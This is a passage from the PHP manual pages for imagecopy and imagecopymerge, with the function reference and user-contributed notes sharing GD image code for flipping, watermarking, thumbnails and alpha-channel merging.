        imagecolorset( $oldIm, $i, $r,$g,$b );

    # Output the file in png format : each color is now NEW COLOR
    # but transparency is preserved !!
    header("Content-type: image/png");
    imagepng($oldIm);
    imagedestroy($oldIm);
}
cla [at] emeraldion [dot] it 21-May-2005 11:09
I've written a handy function to add rounded corners to an image. All you need is four images (the corners) with alpha transparency, so they need to be PNGs. This code can be eventually reused to add corners of any kind, not necessarily to round an image. Corners can be of different sizes, as the actual dimension is calculated for each one of them.

function roundedimage($source, $destination) {
  // Retrieve image informations
  $info = getimagesize($source);

  // Load image from file
  switch ($info['mime']) {
    case 'image/jpeg' :
      $image = imagecreatefromjpeg($source);
      break;
    case 'image/png' :
      $image = imagecreatefrompng($source);
      break;
    case 'image/gif' :
      $image = imagecreatefromgif($source);
      break;
    default:
      return FALSE;
  }

  // Set the alphablending to on
  imagealphablending($image, true);

  // Get the size of the image
  $image_w = imagesx($image);
  $image_h = imagesy($image);

  // Overlay left top corner
  $crnimage_nw = imagecreatefrompng("crn_nw.png");
  $crnimage_nw_w = imagesx($crnimage_nw);
  $crnimage_nw_h = imagesy($crnimage_nw);

  imagecopy($image, $crnimage_nw, 0, 0, 0, 0,
     $crnimage_nw_w, $crnimage_nw_h);

  // Overlay right top corner
  $crnimage_ne = imagecreatefrompng("crn_ne.png");
  $crnimage_ne_w = imagesx($crnimage_ne);
  $crnimage_ne_h = imagesy($crnimage_ne);

  imagecopy($image, $crnimage_ne, $image_w - $crnimage_ne_w,
     0, 0, 0, $crnimage_ne_w, $crnimage_ne_h);

  // Overlay left bottom corner
  $crnimage_sw = imagecreatefrompng("crn_sw.png");
  $crnimage_sw_w = imagesx($crnimage_sw);
  $crnimage_sw_h = imagesy($crnimage_sw);

  imagecopy($image, $crnimage_sw, 0, $image_h - $crnimage_sw_h,
     0, 0, $crnimage_sw_w, $crnimage_sw_h);

  // Overlay right bottom corner
  $crnimage_se = imagecreatefrompng("crn_se.png");
  $crnimage_se_w = imagesx($crnimage_se);
  $crnimage_se_h = imagesy($crnimage_se);

  imagecopy($image, $crnimage_se, $image_w - $crnimage_se_w,
     $image_h - $crnimage_se_h, 0, 0, $crnimage_se_w,
     $crnimage_se_h);

  // Output to the original format
  switch ($info['mime']) {
    case 'image/jpeg' :
      // Quality is set to 100%, maybe you can pass it via a param
      imagejpeg($image, $destination, 100);
      break;
    case 'image/png' :
      imagepng($image, $destination);
      break;
    case 'image/gif' :
      imagegif($image, $destination);
      break;
  }

  // Cleanup
  imagedestroy($image);
  imagedestroy($crnimage_nw);
  imagedestroy($crnimage_ne);
  imagedestroy($crnimage_sw);
  imagedestroy($crnimage_se);
}
slavo at polovnictvo-mn dot sk 20-Mar-2005 04:25
<?

// ****  counting of width - START
// possible rating 0..5
$max_rating = 5;
$image_rating_width = 52;
$sirka_null = $image_rating_width / $max_rating * $_REQUEST['rating'];
// ****  counting of width sirky - END

$rating = imagecreatetruecolor(52,12);
$nula = imagecreatefromjpeg("0.jpg");
$full = imagecreatefromjpeg("5.jpg");
imagecopy($rating, $full, 0, 0 , 0, 0, $sirka_null, 12);
imagecopy($rating, $nula, $sirka_null, 0 , $sirka_null, 0, (52-$sirka_null+1), 12);
header("Content-Type: image/jpeg");
imagejpeg($rating);
imagedestroy($rating);
exit;
?>

0.jpg is equal in size to 5.jpg (foe example 5 stars in image)
0.jpg has 0 filled stars as rating
5.jpg has 5 filled stars as rating

my images have size 52x12 px

You just put them together by imagecopy function :-)
Borszczuk 04-Jan-2005 07:30
I got some comments to Mirror() function given below by lecoguic at yahoo dot fr. First, it's quite good example of coding-without-bit-of-design approach ;) Lecoguic loops by all pixels and copy it each by each. Not good. The *only* reason I could find this approach explained is that he wanted MIRROR_BOTH to be handled. So the code looks quite ok, but performs quite poor.  Below is much faster flipping function, blitting whole strips at once so it much more faster. $imgsrc is imagehandle. Function returns image handle to newly created flipped image.

    define("IMAGE_FLIP_HORIZONTAL",    1);
    define("IMAGE_FLIP_VERTICAL",    2);
    define("IMAGE_FLIP_BOTH",    3);

function ImageFlip($imgsrc, $type)
{
    $width = imagesx($imgsrc);
    $height = imagesy($imgsrc);

    $imgdest = imagecreatetruecolor($width, $height);

    switch( $type )
        {
        // mirror wzgl. osi
        case IMAGE_FLIP_HORIZONTAL:
            for( $y=0 ; $y<$height ; $y++ )
                imagecopy($imgdest, $imgsrc, 0, $height-$y-1, 0, $y, $width, 1);
            break;

        case IMAGE_FLIP_VERTICAL:
            for( $x=0 ; $x<$width ; $x++ )
                imagecopy($imgdest, $imgsrc, $width-$x-1, 0, $x, 0, 1, $height);
            break;

        case IMAGE_FLIP_BOTH:
            for( $x=0 ; $x<$width ; $x++ )
                imagecopy($imgdest, $imgsrc, $width-$x-1, 0, $x, 0, 1, $height);

            $rowBuffer = imagecreatetruecolor($width, 1);
            for( $y=0 ; $y<($height/2) ; $y++ )
                {
                imagecopy($rowBuffer, $imgdest  , 0, 0, 0, $height-$y-1, $width, 1);
                imagecopy($imgdest  , $imgdest  , 0, $height-$y-1, 0, $y, $width, 1);
                imagecopy($imgdest  , $rowBuffer, 0, $y, 0, 0, $width, 1);
                }

            imagedestroy( $rowBuffer );
            break;
        }

    return( $imgdest );
}
cod at crescentofdarkness dot cjb dot net 20-Dec-2004 09:45
This function will put a truecolor png with transparency over a custom color backgorund.

The image will be gracefully blended with the background color using the alpha channel for each color.

In real world we'd just mix foreground and backgorund colors looking at their percentages (i.e. 20% of background + 80% of foreground)
Here we have to calculate this for each r, g and b value of each color, and we have to use 127 instead of 100, because alpha channel goes from 0 to 127.

Try it on a color-to-transparent gradient!

<?php
function pngcolorizealpha($file, $color) {
/*
Function:    pngcolorizealpha
Author:    CoD (cod at crescentofdarkness dot cjb dot net)
Summary:    Blends a truecolor png image with a coloured background using alpha channel

Input:
--------------------------
$file - string - path to the png image
$color- string - color in hex notation, without the #

Output:
--------------------------
a png image

*/

// first of all let's convert the background color
$background = array(
     'red'   => hexdec(substr($color,0,2)),
     'green' => hexdec(substr($color,2,2)),
     'blue'  => hexdec(substr($color,4,2))
);

$im1 = imagecreatefrompng($file) or die('Cannot Initialize new GD image stream');
$im2 = imagecreatetruecolor(imagesx($im1), imagesy($im1));
$col1 = imagecolorallocate($im2, $background['red'], $background['green'], $background['blue']);

imagefill($im2,0,0,$col1);

// for each color in the original png
for ($i=0; $i< imagecolorstotal($im1); $i++) {

    // find r,g,b and alpha value
    $foreground = imagecolorsforindex($im1, $i);

    // blend fore and back colors using alpha value
    $r = (($foreground['red'] / 127) * (127 - $foreground['alpha'])) + (($background['red'] / 127)* $foreground['alpha']);
    $g = (($foreground['green'] / 127) * (127 - $foreground['alpha'])) + (($background['green'] / 127)* $foreground['alpha']);
    $b = (($foreground['blue'] / 127) * (127 - $foreground['alpha'])) + (($background['blue'] / 127)* $foreground['alpha']);

    // allocate this new color in the destination image
    imagecolorallocate($im2, $r,$g,$b);
}

imagecopy($im2, $im1, 0, 0, 0, 0, imagesx($im1), imagesy($im1));

header ("Content-type: image/png");
imagepng($im2);

imagedestroy($im1);
imagedestroy($im2);
}
?>
lecoguic at yahoo dot fr 30-May-2004 04:25
Here is a function to flip an image using imagecopy, just replace SRC_IMAGE and DEST_IMAGE with your own filename
(works only for jpg source image)

<?
define("MIRROR_HORIZONTAL", 1);
define("MIRROR_VERTICAL", 2);
define("MIRROR_BOTH", 3);

function Mirror($src, $dest, $type)
{
  $imgsrc = imagecreatefromjpeg($src);
  $width = imagesx($imgsrc);
  $height = imagesy($imgsrc);
  $imgdest = imagecreatetruecolor($width, $height);

  for ($x=0 ; $x<$width ; $x++)
    {
      for ($y=0 ; $y<$height ; $y++)
    {
      if ($type == MIRROR_HORIZONTAL) imagecopy($imgdest, $imgsrc, $width-$x-1, $y, $x, $y, 1, 1);
      if ($type == MIRROR_VERTICAL) imagecopy($imgdest, $imgsrc, $x, $height-$y-1, $x, $y, 1, 1);
      if ($type == MIRROR_BOTH) imagecopy($imgdest, $imgsrc, $width-$x-1, $height-$y-1, $x, $y, 1, 1);
    }
    }

  imagejpeg($imgdest, $dest);

  imagedestroy($imgsrc);
  imagedestroy($imgdest);
}

Mirror(SRC_IMAGE, DEST_IMAGE, MIRROR_HORIZONTAL);

print "<img src='SRC_IMAGE'>";
print "<br><br>";
print "<img src='DEST_IMAGE'>";
?>
RT 09-May-2004 03:09
Although the following function doesn't use imagecopy(), I thought it might help in related tasks. Please see the code comments for details of it's operation. I made this function to assist in creating images using multiple "layers". For example if you wanted to dynamically create a logo image with seperate colors for say the logo itself and a glow around the logo, these steps would be followed:

-Using an image editor (like Photoshop), create a png-24 image with just the logo on a transparent background. The logo can be any color or multiple colors, but the final image created by this function will be of a single color.

-Create a similar image with just the glow (no logo)

-Create a background image

-Apply this colorize() function to the logo image and the glow image with your desired color for each.

-You can now use imagecopy() to merge all three into a single image ready for a browser.

Here's the code

<?php

/*======Colorize=====
(requires GD 2.0.1 or greater)
This function requires the following arguments:
 $src_path = A string representing the relative path to the src image. Ex: "images/myimage.png". This
    image must be a png-24 with an alpha channel.
 $dest_path = A string representing the relative path to the image to be created.
 $hex_color = A string representing a color in html format, including the # sign. Ex: "#D2E5FF"

This function examines the transparency of the source image, pixel by pixel, and creates a new
one-color image with this same "transparency map".
====================*/

function colorize($src_path, $dest_path, $hex_color) {

    //get the png-24 image - it must have an alpha channel for this funciton to be effective
    $src = imagecreatefrompng($src_path);

    //get width
    $w = imagesx($src);

    //get height
    $h = imagesy($src);

    //create same size destination image
    $dest = imagecreatetruecolor($w, $h);

    //this must be set to false in order to be able to overwright the defualt black pixels of the background with our new
    //transparent pixels. Otherwise our new pixel would just be applied on top of the black.
    imagealphablending($dest, false);

    //get decimal components of the passed hex color
    $red = hexdec(substr($hex_color, 1, 2));
    $green = hexdec(substr($hex_color, 3, 2));
    $blue = hexdec(substr($hex_color, 5, 2));

    for ($i = 0; $i < $h; $i++) { //this loop traverses each row in the image
        for ($j = 0; $j < $w; $j++) { //this loop traverses each pixel of each row

            //get the color & alpha info of the current pixel
            $retrieved_color = imagecolorat($src, $j, $i);

            //put this info into an array
            $rgba_array = imagecolorsforindex($src, $retrieved_color);

            //get the transparency of the pixel as a number from 0 (opaque) to 127 (transparent)
            $alpha = $rgba_array['alpha'];

            //allocate the color to paint. Note that we may continue to overwright this color since our image is not palleted
            $color_to_paint = imagecolorallocatealpha($dest, $red, $green, $blue, $alpha);

            //paint the pixel
            imagesetpixel($dest, $j, $i, $color_to_paint);

        }
    }

    //this allows the new transparency info to be saved with the image
    imagesavealpha($dest, true);

    //write the image to the destination file
    imagepng($dest, $dest_path);
}
?>
pmidden at gmx dot net 27-Sep-2003 09:47
I've found a convenient way to "blit" one image into another. Using the following Code you can copy one image into another, leaving out the pixels with the specified transparent color. I'm using PNG but by replacing all PNG functions by JPEG or GIF functions you are able to use those formats as well:

<?php
$background = imagecreatefrompng("background.png");
$insert = imagecreatefrompng("insert.png");

// Either a color at a specific point on the image
// imagecolortransparent($insert,imagecolorat($insert,0,0));
// or a specific color (the color I used is magenta, #ff00ff)
imagecolortransparent($insert,imagecolorexact($insert,255,0,255));

$insert_x = imagesx($insert);
$insert_y = imagesy($insert);

// As said above, you can't use imagecopy (bug?)
imagecopymerge($background,$insert,0,0,0,0,$insert_x,$insert_y,100);

// imagejpeg or imagepng doesn't matter here
imagejpeg($background,"",100);
?>
matheus at slacklife dot com dot br 12-Sep-2003 04:24
// Image Resize
function createthumb($IMAGE_SOURCE,$THUMB_X,$THUMB_Y,$OUTPUT_FILE){
  $BACKUP_FILE = $OUTPUT_FILE . "_backup.jpg";
  copy($IMAGE_SOURCE,$BACKUP_FILE);
  $IMAGE_PROPERTIES = GetImageSize($BACKUP_FILE);
  if (!$IMAGE_PROPERTIES[2] == 2) {
    return(0);
  } else {
    $SRC_IMAGE = ImageCreateFromJPEG($BACKUP_FILE);
    $SRC_X = ImageSX($SRC_IMAGE);
    $SRC_Y = ImageSY($SRC_IMAGE);
    if (($THUMB_Y == "0") && ($THUMB_X == "0")) {
      return(0);
    } elseif ($THUMB_Y == "0") {
      $SCALEX = $THUMB_X/($SRC_X-1);
      $THUMB_Y = $SRC_Y*$SCALEX;
    } elseif ($THUMB_X == "0") {
      $SCALEY = $THUMB_Y/($SRC_Y-1);
      $THUMB_X = $SRC_X*$SCALEY;
    }
    $THUMB_X = (int)($THUMB_X);
    $THUMB_Y = (int)($THUMB_Y);
    $DEST_IMAGE = imagecreatetruecolor($THUMB_X, $THUMB_Y);
    unlink($BACKUP_FILE);
    if (!imagecopyresized($DEST_IMAGE, $SRC_IMAGE, 0, 0, 0, 0, $THUMB_X, $THUMB_Y, $SRC_X, $SRC_Y)) {
      imagedestroy($SRC_IMAGE);
      imagedestroy($DEST_IMAGE);
      return(0);
    } else {
      imagedestroy($SRC_IMAGE);
      if (ImageJPEG($DEST_IMAGE,$OUTPUT_FILE)) {
        imagedestroy($DEST_IMAGE);
        return(1);
      }
      imagedestroy($DEST_IMAGE);
    }
    return(0);
  }

} # end createthumb
schdenis at telecom dot by 02-May-2003 03:02
As you probably know 'gif' is a paletted image, that is why if you want to copy one 'gif' onto another 'gif' using ImageCopy you need to create a paletted destination image using (ImageCreate), not ImageCreateTrueColor.
mbostrom at paragee dot com 30-Nov-2002 12:56
If you want to copy a non-rectangular (hence transparent) image onto a background (for example, a pawn onto a chessboard) do the following:

First, create the pawn image pawn.png in your favorite graphics program.  Do NOT make the image transparent, instead, give it a distinct solid background color.  You will flag this color as transpernt inside PHP, otherwise imagecopy will not honor the transparency.

Then:

$board = imagecreatefrompng ("board.png");
$pawn  = imagecreatefrompng ("pawn.png");
imagecolortransparent ($pawn, imagecolorat ($pawn, 0, 0));
imagecopy ($board, $pawn, $x, $y, 0, 0, $pawnWidth, $pawnHeight);
imagedestroy ($pawn);
adam at shallimus dot com 04-Oct-2002 06:47
One way 'round the even/odd image size problem would be to use bcdiv.
robert at scpallas dot com 08-Feb-2002 08:33
If you are getting an error when using ImageCopy(), be sure that both images are of the same type - either True Color or Palette.
GD 1.x can copy images of different types, but with GD 2.0 this will cause an error.

sorry - forgot to fill in my email...
Note that ImageCreateFromJPEG always creates a True Color Image.
You can use ImageCreateTrueColor() instead of Image Create() to solve this problem.
jsnell at networkninja dot com 17-Feb-2001 07:09
Want to make an image tile properly?  This is accomplished by swapping all four quadrants of the image.  Here is some sample code that uses imagecopy to do it:

<?php
function backgroundify(&$image) {
    $ix = imagesx($image);
    $iy = imagesy($image);
    $ixhalf = floor($ix / 2); // DON'T USE ON IMAGES WITH ODD SIZES!
    $iyhalf = floor($iy /2);
    $panel_temp = ImageCreate ($ix, $iy) or die("Cannot Initialize new GD image stream");
    imagecopy($panel_temp, $image, 0,0,0,0,$ix, $iy);
    imagecopy($image, $panel_temp, 0,0,$ixhalf,$iyhalf, $ix-$ixhalf, $iy-$iyhalf); // move bottom right to top left
    imagecopy($image, $panel_temp, $ixhalf,$iyhalf, 0,0,$ix-$ixhalf, $iy-$iyhalf); // top left to bottom right
    imagecopy($image, $panel_temp, $ixhalf, 0,0,$iyhalf,$ix-$ixhalf, $iy-$iyhalf); // bottom left to topo right
    imagecopy($image, $panel_temp, 0,$iyhalf, $ixhalf,0,$ix-$ixhalf, $iy-$iyhalf); // top left to bottom right
}
?>
imageconvolution
imagecopymerge
GD and Image Functions


Copy and merge part of an image

imagecopy
imagecopymergegray
GD and Image Functions
PHP Manual

imagecopymerge

(PHP 4 >= 4.0.1, PHP 5)

imagecopymerge — Copy and merge part of an image

Description

bool imagecopymerge ( resource $dst_im , resource $src_im , int $dst_x , int $dst_y , int $src_x , int $src_y , int $src_w , int $src_h , int $pct )

Copy a part of src_im onto dst_im starting at the x,y coordinates src_x, src_y with a width of src_w and a height of src_h. The portion defined will be copied onto the x,y coordinates, dst_x and dst_y.

Parameters

dst_im

Destination image link resource.

src_im

Source image link resource.

dst_x

x-coordinate of destination point.

dst_y

y-coordinate of destination point.

src_x

x-coordinate of source point.

src_y

y-coordinate of source point.

src_w

Source width.

src_h

Source height.

pct

The two images will be merged according to pct which can range from 0 to 100. When pct = 0, no action is taken, when 100 this function behaves identically to imagecopy() for pallete images, while it implements alpha transparency for true colour images.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 Merging two copies of the PHP.net logo with 75% transparency

<?php
// Create image instances
$dest = imagecreatefromgif('php.gif');
$src = imagecreatefromgif('php.gif');

// Copy and merge
imagecopymerge($dest, $src, 10, 10, 0, 0, 100, 47, 75);

// Output and free from memory
header('Content-Type: image/gif');
imagegif($dest);

imagedestroy($dest);
imagedestroy($src);
?>

User Contributed Notes

Leo 04-Jan-2012 09:14
The following function creates mask of a true color image for a given color. Beforehand for creating an image mask I used to loop over all image pixels and check their color using imagecolorat and copy if the color matches with imagesetpixel. This was very slow for large images, so the following code improves the process.

<?php

    function getOppositeColor ($color)
    {
        return (
                    ( (255 - ($color >> 16) & 0xFF) << 16 ) +
                    ( (255 - ($color >> 8  ) & 0xFF) << 8  ) +
                    ( (255 - ($color         ) & 0xFF)         )
                );
    }

    function createImageMask (&$image, $color)
    {
        $w = imagesx ($image);
        $h = imagesy ($image);

        $tmpImage = imagecreatetruecolor ($w, $h);

        imagecopy ($tmpImage, $image, 0, 0, 0, 0, $w, $h);

        imagefilter ($image, IMG_FILTER_NEGATE);

        imagecolortransparent ($image, getOppositeColor ($color));

        imagecopymerge ($tmpImage, $image, 0, 0, 0, 0, $w, $h, 50);

        imagedestroy ($image);

        $image = $tmpImage;
    }

?>

So for example, if we have a photo and we specify color = (255, 0, 0), i.e. red, the result will be image of the same size with red pixels everywhere the original photo was red and grey pixels exerywhere else.
Leo 04-Jan-2012 06:27
imagecopymerge PHP function helped me to create a fast method that replaces one color by another in true color images.

Beforehand for this purpose I had to loop over all the pixels of an image and replace color pixel by pixel using imagecolorat and imagesetpixel; this method is really slow for large images.

So here is the fast one:

<?php

function replaceColorInImage ($image, $old_r, $old_g, $old_b, $new_r, $new_g, $new_b)
{
    imagecolortransparent ($image, imagecolorallocate ($image, $old_r, $old_g, $old_b));

    $w = imagesx ($image);
    $h = imagesy ($image);

    $resImage = imagecreatetruecolor ($w, $h);

    imagefill ($resImage, 0, 0, imagecolorallocate ($resImage, $new_r, $new_g, $new_b));

    imagecopymerge ($resImage, $image, 0, 0, 0, 0, $w, $h, 100);

    return $resImage;
}

?>
thciobanu 09-Mar-2011 12:56
This is what I use for merging two images while respecting the alpha channel (formulas are taken from the wikipedia article on alpha compositing; they're not too pretty as I didn't really try to make them look so, but instead just work and make sense when checked out months from now), with a quirk - an additional parameter (that defaults to NULL to be ignored) to manually specify a "transparent" color, which won't be copied over from the source to the destination. In comparison to the other implementation here, only one pass over $src_im is done, but more calculations are performed:

<?php
function imagecopymerge_alpha($dst_im, $src_im, $dst_x, $dst_y, $src_x, $src_y, $src_w, $src_h, $pct, $trans = NULL)
{
  $dst_w = imagesx($dst_im);
  $dst_h = imagesy($dst_im);

  // bounds checking
  $src_x = max($src_x, 0);
  $src_y = max($src_y, 0);
  $dst_x = max($dst_x, 0);
  $dst_y = max($dst_y, 0);
  if ($dst_x + $src_w > $dst_w)
    $src_w = $dst_w - $dst_x;
  if ($dst_y + $src_h > $dst_h)
    $src_h = $dst_h - $dst_y;

  for($x_offset = 0; $x_offset < $src_w; $x_offset++)
    for($y_offset = 0; $y_offset < $src_h; $y_offset++)
    {
      // get source & dest color
      $srccolor = imagecolorsforindex($src_im, imagecolorat($src_im, $src_x + $x_offset, $src_y + $y_offset));
      $dstcolor = imagecolorsforindex($dst_im, imagecolorat($dst_im, $dst_x + $x_offset, $dst_y + $y_offset));

      // apply transparency
      if (is_null($trans) || ($srccolor !== $trans))
      {
        $src_a = $srccolor['alpha'] * $pct / 100;
        // blend
        $src_a = 127 - $src_a;
        $dst_a = 127 - $dstcolor['alpha'];
        $dst_r = ($srccolor['red'] * $src_a + $dstcolor['red'] * $dst_a * (127 - $src_a) / 127) / 127;
        $dst_g = ($srccolor['green'] * $src_a + $dstcolor['green'] * $dst_a * (127 - $src_a) / 127) / 127;
        $dst_b = ($srccolor['blue'] * $src_a + $dstcolor['blue'] * $dst_a * (127 - $src_a) / 127) / 127;
        $dst_a = 127 - ($src_a + $dst_a * (127 - $src_a) / 127);
        $color = imagecolorallocatealpha($dst_im, $dst_r, $dst_g, $dst_b, $dst_a);
        // paint
        if (!imagesetpixel($dst_im, $dst_x + $x_offset, $dst_y + $y_offset, $color))
          return false;
        imagecolordeallocate($dst_im, $color);
      }
    }
  return true;
}

// use it like this (identical to imagecopymerge)
function imagecopymerge_alpha($dst_im, $src_im, $dst_x, $dst_y, $src_x, $src_y, $src_w, $src_h, $pct)
// or this
function imagecopymerge_alpha($dst_im, $src_im, $dst_x, $dst_y, $src_x, $src_y, $src_w, $src_h, $pct, array('red' => 1, 'green' => 2, 'blue' => 3, 'alpha' =>4))
?>
killing_wombles0000 at hotmail dot com 17-Feb-2011 09:27
Anyone wanting to create a reflecion of an image. Simple process that copies, line by line, from the bottom of the image, a given number of pixels. Each line gets gradually more transparent. Outputs PNG to screen.

This is pretty hot-coded - all four input variables (input image, reflection height, starting transparency, gap between image and reflection) are set manually here.

<?php
    $in = imagecreatefromjpeg('C:\test.jpg');
    $reflection_strength = 120;        //    starting transparency (0-127, 0 being opaque)
    $reflection_height = 40;        //     height of reflection in pixels
    $gap = 10;                        //    gap between image and reflection

    $orig_height = imagesy($in);                                //    store height of original image
    $orig_width = imagesx($in);                                    //    store height of original image
    $output_height = $orig_height + $reflection_height + $gap;    //    calculate height of output image

    // create new image to use for output. fill with transparency. ALPHA BLENDING MUST BE FALSE
    $out = imagecreatetruecolor($orig_width, $output_height);
    imagealphablending($out, false);
    $bg = imagecolortransparent($out, imagecolorallocatealpha($out, 255, 255, 255, 127));
    imagefill($out, 0, 0, $bg);
    imagefilledrectangle($out, 0, 0, imagesx($in), imagesy($in), $bg1);

    // copy original image onto new one, leaving space underneath for reflection and 'gap'
    imagecopyresampled ( $out , $in , 0, 0, 0, 0, imagesx($in), imagesy($in), imagesx($in), imagesy($in));

     // create new single-line image to act as buffer while applying transparency
    $reflection_section = imagecreatetruecolor(imagesx($in), 1);
    imagealphablending($reflection_section, false);
    $bg1 = imagecolortransparent($reflection_section, imagecolorallocatealpha($reflection_section, 255, 255, 255, 127));
    imagefill($reflection_section, 0, 0, $bg1);

    // 1. copy each line individually, starting at the 'bottom' of the image, working upwards.
    // 2. set transparency to vary between reflection_strength and 127
    // 3. copy line back to mirrored position in original
    for ($y = 0; $y<$reflection_height;$y++)
    {
        $t = ((127-$reflection_strength) + ($reflection_strength*($y/$reflection_height)));
        imagecopy($reflection_section, $out, 0, 0, 0, imagesy($in)  - $y, imagesx($in), 1);
        imagefilter($reflection_section, IMG_FILTER_COLORIZE, 0, 0, 0, $t);
        imagecopyresized($out, $reflection_section, $a, imagesy($in) + $y + $gap, 0, 0, imagesx($in) - (2*$a), 1, imagesx($in), 1);
    }

    // output image to view
    header('Content-type: image/png');
    imagesavealpha($out,true);
    imagepng($out);
?>
Fred 24-Sep-2010 11:39
TO merge two images with alpha - use a brush to draw a zero length line in the centre of the target image, using the src img as the brush img. The code probably explains it better:

<?php
$src = imagecreatefromstring(file_get_contents("location of src"));
$dest = imagecreatefromstring(file_get_contents("location of dest"));

// Set the brush
imagesetbrush($dest, $src);
// Draw a couple of brushes, each overlaying each
imageline($dest, imagesx($dest) / 2, imagesy($dest) / 2, imagesx($dest) / 2, imagesy($dest) / 2, IMG_COLOR_BRUSHED);

header('Content-Type: image/png');
imagepng($dest);
?>

This is simple and has reasonable performance.
Sina Salek 09-Aug-2009 01:26
I've just checked PHP's issue tracker and a core developer says that this function was never meant to support alpha channel! and they refused to commit the provided patch! so ridicules
Anyway i tried rodrigo's workaround and it worked quite well, thanks rodrigo for sharing it.
I came up with another idea which is much faster than his solution, (it may need a little bit more memory)

Hope it helps someone.

<?php
/**
 * PNG ALPHA CHANNEL SUPPORT for imagecopymerge();
 * by Sina Salek
 *
 * Bugfix by Ralph Voigt (bug which causes it
 * to work only for $src_x = $src_y = 0.
 * Also, inverting opacity is not necessary.)
 * 08-JAN-2011
 *
 **/
    function imagecopymerge_alpha($dst_im, $src_im, $dst_x, $dst_y, $src_x, $src_y, $src_w, $src_h, $pct){
        // creating a cut resource
        $cut = imagecreatetruecolor($src_w, $src_h);

        // copying relevant section from background to the cut resource
        imagecopy($cut, $dst_im, 0, 0, $dst_x, $dst_y, $src_w, $src_h);

        // copying relevant section from watermark to the cut resource
        imagecopy($cut, $src_im, 0, 0, $src_x, $src_y, $src_w, $src_h);

        // insert cut resource to destination image
        imagecopymerge($dst_im, $cut, $dst_x, $dst_y, 0, 0, $src_w, $src_h, $pct);
    }

?>
santin1991[at]gmail[dot]com 23-Apr-2009 04:16
Add logo on image script.
<?php
/**
 * Put logo on low right jpeg image
 * used stefan's script for position
 **/
$logo_file = "logo.png";
$image_file = "img.jpg";
$targetfile = "img2.jpg";
$photo = imagecreatefromjpeg($image_file);
$fotoW = imagesx($photo);
$fotoH = imagesy($photo);
$logoImage = imagecreatefrompng($logo_file);
$logoW = imagesx($logoImage);
$logoH = imagesy($logoImage);
$photoFrame = imagecreatetruecolor($fotoW,$fotoH);
$dest_x = $fotoW - $logoW;
$dest_y = $fotoH - $logoH;
imagecopyresampled($photoFrame, $photo, 0, 0, 0, 0, $fotoW, $fotoH, $fotoW, $fotoH);
imagecopy($photoFrame, $logoImage, $dest_x, $dest_y, 0, 0, $logoW, $logoH);
imagejpeg($photoFrame, $targetfile);
echo '<img src="'.$targetfile.'" />';
?>
rodrigo dot polo at gmail dot com 25-Jan-2009 02:52
<?php
/**
 * PNG ALPHA CHANNEL SUPPORT for imagecopymerge();
 * This is a function like imagecopymerge but it handle alpha channel well!!!
 **/

// A fix to get a function like imagecopymerge WITH ALPHA SUPPORT
// Main script by aiden dot mail at freemail dot hu
// Transformed to imagecopymerge_alpha() by rodrigo dot polo at gmail dot com
function imagecopymerge_alpha($dst_im, $src_im, $dst_x, $dst_y, $src_x, $src_y, $src_w, $src_h, $pct){
    if(!isset($pct)){
        return false;
    }
    $pct /= 100;
    // Get image width and height
    $w = imagesx( $src_im );
    $h = imagesy( $src_im );
    // Turn alpha blending off
    imagealphablending( $src_im, false );
    // Find the most opaque pixel in the image (the one with the smallest alpha value)
    $minalpha = 127;
    for( $x = 0; $x < $w; $x++ )
    for( $y = 0; $y < $h; $y++ ){
        $alpha = ( imagecolorat( $src_im, $x, $y ) >> 24 ) & 0xFF;
        if( $alpha < $minalpha ){
            $minalpha = $alpha;
        }
    }
    //loop through image pixels and modify alpha for each
    for( $x = 0; $x < $w; $x++ ){
        for( $y = 0; $y < $h; $y++ ){
            //get current alpha value (represents the TANSPARENCY!)
            $colorxy = imagecolorat( $src_im, $x, $y );
            $alpha = ( $colorxy >> 24 ) & 0xFF;
            //calculate new alpha
            if( $minalpha !== 127 ){
                $alpha = 127 + 127 * $pct * ( $alpha - 127 ) / ( 127 - $minalpha );
            } else {
                $alpha += 127 * $pct;
            }
            //get the color index with new alpha
            $alphacolorxy = imagecolorallocatealpha( $src_im, ( $colorxy >> 16 ) & 0xFF, ( $colorxy >> 8 ) & 0xFF, $colorxy & 0xFF, $alpha );
            //set pixel with the new color + opacity
            if( !imagesetpixel( $src_im, $x, $y, $alphacolorxy ) ){
                return false;
            }
        }
    }
    // The image copy
    imagecopy($dst_im, $src_im, $dst_x, $dst_y, $src_x, $src_y, $src_w, $src_h);
}

// USAGE EXAMPLE:
$img_a = imagecreatefrompng('image1.png');
$img_b = imagecreatefrompng('wm2.png');

// SAME COMMANDS:
imagecopymerge_alpha($img_a, $img_b, 10, 10, 0, 0, imagesx($img_b), imagesy($img_b),50);

// OUTPUT IMAGE:
header("Content-Type: image/png");
imagesavealpha($img_a, true);
imagepng($img_a, NULL);
?>
gigitrix 03-Sep-2008 06:01
Some highly amusing stuff: This code appears normal and is a way to cut out slices of an image randomly.

<?php
header("Content-Type: image/jpeg");
$width=837;
$height=771;
$origim = imagecreatefromjpeg("theimage.jpeg"); /* Attempt to open */
$imagetodisplay=imagecreate($width, $height);

for($i=0;$i<=100;$i++)
{
$xPos=rand(0,$width-9);
$yPos=rand(0,$height-9);
imagecopy($imagetodisplay, $origim, $xPos, $yPos , $xPos, $yPos , 10  , 10);
}

imagejpeg($imagetodisplay);
imagedestroy($imagetodisplay);
imagedestroy($origim);
?>

Try running this however and an omitted detail adds to the fun. Since the first colour that is defined is taken to be the background colour, we have a random colour selected from $origim as the background colour for $imagetodisplay, but this random colour is weighted according to the background image. It was a surprise (I thought the bg would be black) but I am now keeping it as it looks good.
eric 10-Jul-2007 01:57
you need to stream the image out after processing ...something like

<?php

// All of your existing code

imagepng($image);

?>
Al 09-Jul-2007 07:23
Check your header... He is false...

<?php
header("Content-Type: image/png");
?>
jay at zylex dot net dot nz 24-Feb-2007 03:45
Hi
i wrote this script to add a watermark image into the bottom right a larger image. Its very basic i know but its all i need for now. It also is an easy function for noobs to grasp. It just takes an two image types as arguments

for example
$image = imagecreatefromjpeg("FILELOCATION");
$insert = imagecreatefrompng("WATERMARKFILELOCATION");
$image = image_overlap($image, $insert);

function image_overlap($background, $foreground){
   $insertWidth = imagesx($foreground);
   $insertHeight = imagesy($foreground);

   $imageWidth = imagesx($background);
   $imageHeight = imagesy($background);

   $overlapX = $imageWidth-$insertWidth-5;
   $overlapY = $imageHeight-$insertHeight-5;
               imagecolortransparent($foreground,
imagecolorat($foreground,0,0));                imagecopymerge($background,$foreground,
$overlapX,$overlapY,0,0,$insertWidth,$insertHeight,100);   return $background;
    }

It doesnt smooth the edges between the two images but it works easily.
